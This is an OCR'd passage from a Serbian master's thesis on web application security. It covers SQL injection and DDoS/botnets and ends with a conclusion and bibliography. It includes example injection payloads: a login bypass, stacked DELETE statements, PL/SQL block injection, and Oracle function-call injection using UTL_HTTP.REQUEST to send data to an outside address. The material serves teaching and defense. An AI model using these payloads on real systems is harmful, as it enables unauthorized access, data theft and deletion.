Lozinka: [J| sessssses

'nace password u svim

lucajevima je " 'OR=""

Slika 2.8.2
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Prilikom logovanja sa podacima korisni¢ko ime: ,,bilosta* i lozinka: ,,"
’OR=""* sistem propusta napadaca kao legitimnog korisnika koje je nasumi¢no
izabrao.

BEOGRS BEOGRAD JEVREJSKA

-«\*
ci@ryahoo A savez{@gosb org rs
2628-471_2637.006

SEKRETAR NATASA VUI

C=D) =)

Slika 2.8.3

Na slici 2.8.3 prikazano je Sta sistem daje napadacu prilikom logovanja, oba puta
logovanje je bilo sa istim korisnickom imenom i istom lozinkom...

Zakljuéak: Manipulacija SQL upita je jedan od najopasnijih napada od koga treba
dosta dobro zastititi veb aplikaciju jer dobar napad na ranjivu aplikaciju moZe da
onesposobi aplikaciju ali i da napada¢ dode do podataka koje moze koristiti i
zloupotrebljavati. Napad poput gore opisanog moze koStati firmu puno novca ali i
gubitka korisnika usled pada reputacije. Veoma je vazno proveriti sve aspekte sigurnosti
aplikacije pre puStanja u rad.

Ubacivanje koda je napad dodavanjem SQL koda na ve¢ postojeci kod. Ovaj
vid napada se obi¢no koristi za napad na aplikacije koje koriste Microsoft SQL server,
ali ni Oracle baza nije imuna. Iako unutar Jave i proceduralnog SQL jezika[38], Oracle
ne podrzava viSe od jedne SQL komande po zahtevi, postoje programski jezici i
aplikacije koje to dozvoljavaju. Ubacivanje koda poput ovog u nekim aplikacijama koje
dozvoljavaju viSe od jedne komande po zahtevu, dodati kod bi bio izvrSen.

SELECT * FROM korisnici WHERE username = 'Predrag' and password
= 'lozinka';

Na ovaj kod, zlonamerni korisnik, dodaje i svoj deo:
DELETE FROM korisnici WHERE username = 'administrator';
Tako da krajnji niz komandi koji se Salje kao upit izgleda ovako:

SELECT * FROM korisnici WHERE username = 'Predrag' and password
= "lozinka'; DELETE FROM korisnici WHERE username =
'administrator';
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Rezultat ovakvog koda u javi ili proceduralnom SQL jeziku bi izazvao gresku, ali u
nekim aplikacijama, kao Sto je navedeno, koje propustaju viSe komandi unutar jednog
zahteva, dolazi do brisanja korisnika sa korisni¢kim imenom administrator iz baze
podataka. Ni proceduralni jezik i java nisu imuni na ubacivanje koda jer mogu izvrSavati
kod dinamicki u blokovima koji pocinju sa ,,BEGIN” a zavrSavaju se sa ,,END;”
Ovakvo izvrSavanje je ranjivo na ubacivanje koda, sledec¢i primer pokazuje jedan od
nacina:

Ukoliko imamo blok koda:

BEGIN ENCRYPT password('Predrag', 'lozinka'); END;

Zlonamerni korisnik moZe ubaciti i svoj deo koda:

DELETE FROM korisnici WHERE upper (username) =
upper ('administrator');

Pa bi upit izgledao ovako:

BEGIN ENCRYPT password('Predrag', '"lozinka'); DELETE FROM
korisnici WHERE upper (username) = upper ('administrator'),; END;

Sto bi prouzrokovalo istu $tetu kao i u prethodnom primeru. Dakle kod bi bio izvrien i
korisnik sa korisni¢kim imenom administrator bi bio obrisan iz baze.

Ubacivanje poziva funkcije predstavlja napad na Oracle bazu podataka.
Napadom se ubacuju pozivi funkcija same baze ili operativnog sistema unutar SQL
zahteva. Unutar Oracle baze podataka postoje preko hiljadu funkcija ali samo manji deo
tih funkcija mogu biti iskoriS¢ene za napad. Funkcije koje se ubace unutar ,select*
iskaza ne mogu da promene podatke unutar baze, ali ukoliko je funkcije izvrSe unutar
»insert”, ,update* ili ,.delete” iskaza, posledice mogu biti velike jer tada postoji
mogucnost menjanja podataka.

Problem sa ubacivanjem poziva funkcija je u tome Sto bilo koji dinamicki kreiran
SQL upit je ranjiv na ovaj napad. Ukoliko imamo kod kao u slede¢em primeru poziva
otranslate” funkcije koja menja odredene karakteri unutar stringa, drugim setom
karakteri[39] :

SELECT TRANSLATE ('user input',
'0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ',
'0123456789")

FROM dual;

Ovaj SQL upit nije ranjiv na druge nacine napada ali je lako manipulisati ubacivanjem
poziva funkcije. Zlonamerni korisnik moZe ovo iskoristiti i ubaciti kod koji ‘e poyivati
drugu stranicu sa server
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SELECT TRANSLATE('' || UTL_HTTP.REQUEST ('http://192.168.1.1/"')
|l "', '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ', '0123456789")
FROM dual;

Prilikom izvrSavanja ovog iskaza, zlonamerni korisnik bi mogao preuzeti vazne
informacije sa servera i poslati ih na adresu koju je on naveo. Posto je obi¢no Oracle
baza iza zaStitnog zida, ovakav napad bi mogao da prouzrokuje i napad na servere
unutar interne mreZe. Takode zlonamerni korisnik moZe vrSiti i upis podataka u bazu,
ukoliko aplikacija poseduje funkciju ,,adduser” unutar paketa funkcija ,,myadmin” i
tu funkciju obeliZi kao ,,pragma translation” §to joj daje slobodu da upisuje direktno u
bazu bez vracanja bilo kakvog podatka o upisu[40]. Ovaj napad moZe se realizovati na
slede¢i nacin:

SELECT TRANSLATE('' |/
myappadmin.adduser ('administrator', 'lozinka') [] '',

'0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ', '0123456789') FROM
dual;

IzvrSavanjem ovog SQL upita, zlonamerni korisnik ima moguénost da kreira
korisnika unutar baze.

Unutar kreirane aplikacije pokazano je kako umetanje SQL upita utice na prikaz
podataka kao i na sigurnost same aplikacije. [z baze je trazeno ucitavanje podataka za
korisnika sa identifikacionim brojem koji je unet, na slici je prikazano ako aplikacija
radi kada je upit u redu.

MASTER RAD MATEMATICKI FAKULTET

Umetanje SQL upita: Ovde 53m Uneo u bazu 6 unosa koji iMaju 1D: 1,2, 3,4,5,6

Odbrana od ovog napada:

& 547376536

Malkov

57123

Slika 2.8.3

Dok u slu¢aju napada koriS¢enjem iskaza ,,1' or '1' = '1”” umesto ID broja,
dobijamo anomaliju u kojij aplikacija prikazuje sve upisane korisnije koji se nalaze u
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bazi. Na sledecoj slici je prikazako ponaSanja aplikacije kada se napadne umetanjem
pomenutog koda:

"\f’l a S:\ erra d MASTER RAD MATEMATICKI FAKULTET

Jedan mali primer:

Umetanje SQL upita: Ovde sam uneo u bazu 6 unosa koji imajuID: 1,2, 3,4,5, 6

0Odbrana od ovog napada:

broj racuna je- 346346452

Predrag

e je Vujic

2u pod rednim brojem 3

broj racunz je: 346876322

Slika 2.8.4

2.9 Onemogucavanje usluge

Onemogucavanje usluge DoS ili DDoS (engl. Distributed Denial of service)
napad je pokuSaj zlonamernog korisnika da legitimnim korisnicima onemoguci ili
uspori pristup internetu ili serveru tako Sto napada mrezi ili sam server sa puno
odvojenih lokacija u isto vreme i1 time preopterecuje server. Pomocu ovog napada
postoji mogucnost da se mreza, racunar, server ili neki drugi deo infrastrukture ucine
nedostupnim, kako korisnici ne bi mogli da koriste resurse i usluge napadnutog
sistema[34]. Ovi napadi se mogu podeliti u tri vrste:

Napad na ranjive delove mreZe — Slanjem veéeg broja zahteva za podatke ili
optere¢ivanjem samog operativnog sistema, gomilanjem podataka u memoriju koji
¢ekaju procesorsko vreme za obradu, tada sistem a samim tim i usluga koju taj sistem
pruza postaje nedostupna za dalji rad.

Zakrcenje propusnog opsega mreZe — Svaka mreZa, server i raCunar imaju
ograni¢enja. MreZzu moZemo predstaviti kao autoput koji ima fizicka ograni¢enja po
pitanju ukupnog broja automobila koji mogu da se krecu u istom trenutku, isto je i sa

e —————
49




mreZom, postoji maksimalna koli¢ina podataka koja u datom vremenu moZe proci kroz
mrezu. Ovim napadom zlonamerni korisnik moZe da preoptereti mreZu ili server
zahtevima za podatke i time spreci da legitimni podaci korisnika dodu do servera.

Zakrcenje velikim brojem veza — zlonamerni korisnik upucuje preveliki broj
zahteva za otvaranje veza TCP’ prema serveru koji je meta napada i na taj nacin server
postaje prenatrpan otvorenim vezama toliko da ne moZze prihvatiti nove veze od strane
legitimnih korisnika, koji ostaju bez konekcije ka serveru.

s

Napadag¢ ™~

Kontroler

Zombi Q’ K\D \ E

\ﬁ%\

(obi¢no korisnici |nterneta g \:"%1
koji ni ne znaju da su deo , _
mreze) Zrtva
Slika 2.9.1

Racunar koji je pod kontrolom zlonamernog korisnika je poznat kao zombi ili
bot. Grupa umreZenih radunara je poznat kao botnet ili zombi vojska. I Kasperski Labs®
i Simantec su identifikovali bot mrezu kao najvecu pretnju bezbednosti na
Internetu[35].

DDoS napad se izvodi koriS¢enjem velike kolic¢ine fizickih racunara. Do velike
koli¢ine raunara dolaze tako $to ih ,regrutiju” putem raznih mamaca za vlasnike tih
raunara. Ukoliko korisnik na svoj racunar instalira program koji je dobio kao
preporuku neke reklame na intertnetu, a iza tog programa krije zlonamerni korisnik,
samim instaliranjem, racunar postaje deo bot mreze a da to korisnik, u ovom slucaju
Zrtva, ni ne zna. Postoje i1 drugi nacini za kreiranje bot mreZe i regrutovanje novih
Clanova iste. Prilikom instaliranja procesa za udaljenu kontrolu racunara koju odredeni
sajtovi nude za ,,CiS¢enje” 1 za ,,ubrzavanje” racunara koji prima naredbe napadaca i
pokrece napade putem interneta prema potrebi, samim tim postaje deo bot mrezZe i
ucestvuje u napadima. Da bi raCunar postao deo botnet mreze, jednostavno je potrebno
samo da se u njemu nalazi specijalno kreiran program od strane napadaca, koji se
distribuira preko veb sajtova, fajlovima u elektronskim porukama kao i skidanjem
filmova i ili igrica sa sumljivih sajtova[34].

7 Transmisioni kontrolni protokol (TCP, engl. Transmision control protocol) je protokol koji pripada sloju 4 OSI
referentnog modela, ima za ulogu da obezbedi pouzdan transfer podataka u IP okruZenju.
8 Vodedi proizvodac anti-virus programa

e —————
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Rezultat ovih prevara i obmana korisnika je stvaranje mreZe ra¢unara koju ¢ine
zaraZeni racunari (demoni, botovi) koji ucestvuju u napadima kad god to zlonamerni
korisnik od njih zatrazi pozivaju¢i instalirane programe. Na slici 2.9.2 je ilustrovano Sta
se deSava kada se program aktivira.

Server bot-mreze

Meta ﬁapada je www.primer.net
Metod napada je: zakrcenje velikim brojem veza

Slika 2.9.2

DDoS napadi su u poslednjih 10ak godina postali zna€ajno ucestali, a
posmatraju¢i njihovi snagu i potencijalnu mo¢, kao efektivna zaStita doSlo je do
razvijanja sofisticiranih zastitnih mehanizama. Administratori mreZa i servera veoma
dobro poznaju opasnosti koje DDoS napadi donose i pored svih sistema zastite joS uvek
ne postoji potpuno reSenje koje bi dovelo do spreCavanja svih napada. Jedan od
najrasprostranjenijih nac¢ina zaStite od DDoS napada je da veb sajt ili aplikacija bude
kopirana na viSe servera, tako bi u slu¢aju napada na jedan server, moglo automatski da
se sav legitiman saobracaj prebaci na drugi server. Jedini je problem odrzavanje svih
kopija ,,up to date” jer danasnje veb aplikacije imaju i po 100.000 aktivnih korisnika
dnevno.

Zastita od ovog napada je izuzetno kompleksna. Jedinstveni razlog zbog cega jos
uvek ne postoji sistem koji sprecava 100% napada je taj Sto napad dolazi sa legitimnih
raCunara koji su rasporedeni svuda po svetu, pa je nemoguce odvojiti raCunare koji
ucestvuju u napadu od racunara koji su dosli po neku informaciju na sajtu. Svedoci smo
da u danas$nje vreme sve je viSe naslova u novinama i na portalima koji opisuju DDoS
napade. NajviSe napada je usmereno ka Americi jer velika vecina sajtova koji su danas
aktivni na internetu se fizicki nalazi na serverima koji se nalaze u toj zemlji. Na sledecoj
slici je prikazan najvec¢i DDoS napad koji se odigrao 2014. godine, a mete su bili serveri
u Americi, od kojih su neki bili pogadani napadima od ¢ak 80GB/s S$to je novi rekord,
prethodni je bio 8GB/s u napadu iz 2004 godine[34].
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Legend

Slika 2.9.3
Zakljucak

DDoS napadi su Siroko rasprostranjeni. Ovakvi napadi se koriste iz viSe razloga:
Ukoliko imate konkurenta na internetu pa Zelite da ga ,,onesposobite” kako bi dobili
njegove korisnike. Aktivizam, takode predstavlja jedan od razloga, aktivisti Zele da
naprave smetnju u radu nekog sistema. Napad iz zabave je jedan od
najrasprostranjenijih napada. Potencijalna cena uspe$nog napada je velika, uticaj na
biznis napadnutog sistema je ogroman, gubitkom sadaSnjih ali i potencijalnih korisnika
usled gubitka kredibiliteta. Ovakvi napadi su postali dostupni Sirokom auditorijumu jer
postoje servisi koji nude, za odredenu sumu novca, ovakve napade koji se naplacuju
prema trajanju napada, obi¢no u trajanju od oko 24 sata, a cene se kre¢u od 5$-200$ po
napadu. Danas je zaStita protiv ovih napada postala jeftinija i lakSa, tehnikama koje
podrazumevaju koriS¢enje servera koji su dosta veceg kapaciteta i imaju filtere koji
detektuju napade i1 sprecavaju da sistem postane ugrozen.
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ZAKLJUCAK

U ovom radu opisani su najces¢i napadi na veb aplikacije kao i nacini prevencije.
Pored napada opisano je i Sta predstavlja ugroZavanje podataka. Ovo je od izuzetne
vaznosti jer svaki napad predstavlja ugroZavanje podataka koji se nalaze na
raspolaganju veb aplikaciji.

Savremeni veb je osnovni predstavnik informatickog doba s obzirom na to da
olakSava i ubrzava razmenu podataka u digitalnom formatu. Nastao iz strateSko-vojnih
razloga, povezivanjem veceg broja raCunara, danas predstavlja najveci informaciono-
komunikacioni sistem kako po veli¢ini tako i po broju korisnika. Kroz razna istraZivanja
koja su doprinela ovom radu, otkriveno je puno sigurnosnih propusta, neki su i opisani
u radu. Programeri koji kreiraju veb aplikacije joS uvek ne shvataju u potpunosti vaznost
sigurnost koju treba obezbediti.

Podaci koji se nalaze na serverima Sirom sveta su dostupni aplikacijama koje ih
koriste ali i zlonamernim korisnicima ukoliko pronadu nacin da ilegalnim putem dodu
do njih. ZaStita podataka kao najvaZnijeg resursa XXI veka postala je od klju¢nog
znacaja za bezbednost korisnika raznih servisa, kompanija pa i ¢itavih drzava. U tom
pogledu je jasno da je bezbednost veb aplikacija veoma znaCajna i dinami¢na tema.
Velike kompanije koje imaju farme servera se svakodnevno suoCavaju sa izazovima
koje informati¢ko doba donosi po pitanju bezbednosti, u vecini sluc¢ajeva odolevaju
napadima zlonamernih korisnika koji postaju sve bolji u pronalazenju slabih taaka
unutar sistema.

Na kraju, nasa zemlja, koja je, tek zakoracila u informati¢ku eru, jo§ uvek nema jasno
definisanu strategiju u oblasti informacionih infrastruktura, §to ¢e morati uskoro da se
promeni. Uvodenjem ‘“eUprava” servisa, puno toga pocinje da se menja i polako
koracamo ka servisima u sluzbi gradana a $to je bitnije podiZe se svest o vaznosti
ocuvanja sigurnosti sistema i podataka kojima oni raspolazu.

53



LITERATURA

1. Sajber prostor i bezbednosni izazovi. Nenad Putnik. Beograd 2009.

2. International Telecommunication Union. ITU-T Recommendations - Overview of the Internet of
things. [online] 2012. http://www.itu.int/. Y.2060.

3. Information security. [online] http://csrc.nist.gov/publications/nistpubs/800-27A/SP800-27-
RevA.pdf

4. Autorization. [online] http://searchsoftwarequality.techtarget.com/definition/authorization

5. CIA triad. [online] http://whatis.techtarget.com/definition/Confidentiality-integrity-and-
availability-CIA

6. Bafer. [online] http://www.webopedia.com/TERM/B/buffer.html

7. Stek. [online]
https://interactivepython.org/runestone/static/pythonds/BasicDS/TheStackAbstractDataType.html

8. SQL Slammer [online] https://www.giac.org/paper/gsec/3091/ms-sql-slammer-sapphire-
worm/105136 1 http://searchsecurity.techtarget.com/news/450412492/SQL-Slammer-worm-makes-a-
comeback-14-years-later

9. OpenSSL. Official page [online] https://www.openssl.org/

10. Heartbleed. Cyber Security Bulletins [online] https://www.publicsafety.gc.ca/cnt/rsrcs/cybr-
ctr/2014/al14-005-eng.aspx

11. Buffer Overflows [online] https://www.owasp.org/index.php/Buffer_Overflows

12. How much website downtime is acceptable? [online] http://blog.iweb.com/en/2012/11/how-
much-downtime-is-acceptable/11469.html

13. Is There a Security Problem in Computing? [online]
http://media.techtarget.com/searchSecurityChannel/downloads/security computing chapter.pdf

14. Why the 64-bit Version of Windows is More Secure [online]
https://www.howtogeek.com/165535/why-the-64-bit-version-of-windows-is-more-secure/

15. Worm:W32/Slammer [online] https://www.f-secure.com/v-descs/mssglm.shtml

16. Serverski skriptovi. [online] ,,Server side scripting”, John D. Haney, oktobar 2012.
http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.487.7849 &rep=rep1 &type=pdf

17. XSS Attacks: Cross-site Scripting Exploits and Defense, izdavac¢: Syngress, 2007. ISBN
1597491543, 9781597491549

18. Cross-site Scripting (XSS). [online] https://www.owasp.org/index.php/Cross-
site_Scripting_(XSS)

19. htmlentities php.net [online] http://php.net/manual/en/function.htmlentities.php

20. html entities [online] https://www.w3schools.com/html/html_entities.asp

21. HTML URL Encoding reference [online] https://www.w3schools.com/tags/ref urlencode.asp

e —————
54




22. Cross-Site Request Forgery (CSRF). [online] https://www.owasp.org/index.php/Cross-
Site_Request Forgery_ (CSRF) Prevention_Cheat_Sheet

23. Forceful Browsing Attack. [online]
https://campus.barracuda.com/product/webapplicationfirewall/article/ W AF/Forceful BrowsingAttack/

24. OWASP Top Ten Project [online]
https://www.owasp.org/index.php/Category:OWASP Top_Ten Project#tab=OWASP Top 10 for 2
017 Release Candidate 1

25. HTTP Status Messages [online] https://www.w3schools.com/tags/ref httpmessages.asp

26. Forced browsing. [online] https://www.owasp.org/index.php/Forced_browsing

27. Web Application Security. Izdava¢ McGraw-Hill 2011, ISBN: 9780071776165

28. Chmod permissions. [online] http://www.thinkplexx.com/learn/article/unix/command/chmod-
permissions-flags-explained-600-0600-700-777-100-etc

29. What are cookies? [online] https://kb.iu.edu/d/agwm

30. Tracking Cookie [online]
https://www.symantec.com/security_response/writeup.jsp?docid=2006-080217-3524-99&tabid=2

31. Managing e-commerce in busines. 2008 Juta&Company Ltd ISBN 978-0-70217-304-2
32. HTML/Elements/input/hidden [online] https://www.w3.org/wiki/HTMIL/Elements/input/hidden

33. HTTP Methods: GET vs. POST [online] https://www.w3schools.com/tags/ref httpmethods.asp

34. Understanding Denial-of-Service Attacks. [online] https://www.us-cert.gov/ncas/tips/ST04-015

35. Botnet DDoS Attacks. [online] https://www.incapsula.com/ddos/ddos-attacks/botnet-ddos.html

36. SQL Injection, Microsoft [online] https://technet.microsoft.com/en-
us/library/ms161953(v=SQL.105).aspx

37. An Introduction to SQL Injection Attacks for Oracle Developers [online]
https://www.integrigy.com/files/Integrigy Intro_Oracle SQL Injection Attacks.pdf

38. PL/SQL (procedural language extension to Structured Query Language) [online]
http://searchoracle.techtarget.com/definition/PL/SQL

39. Oracle / PLSQL: TRANSLATE Function [online]
https://www.techonthenet.com/oracle/functions/translate.php

40. AUTONOMOUS_TRANSACTION Pragma [online]
https://docs.oracle.com/cd/B19306_01/appdev.102/b14261/autonotransaction_pragma.htm

55



56




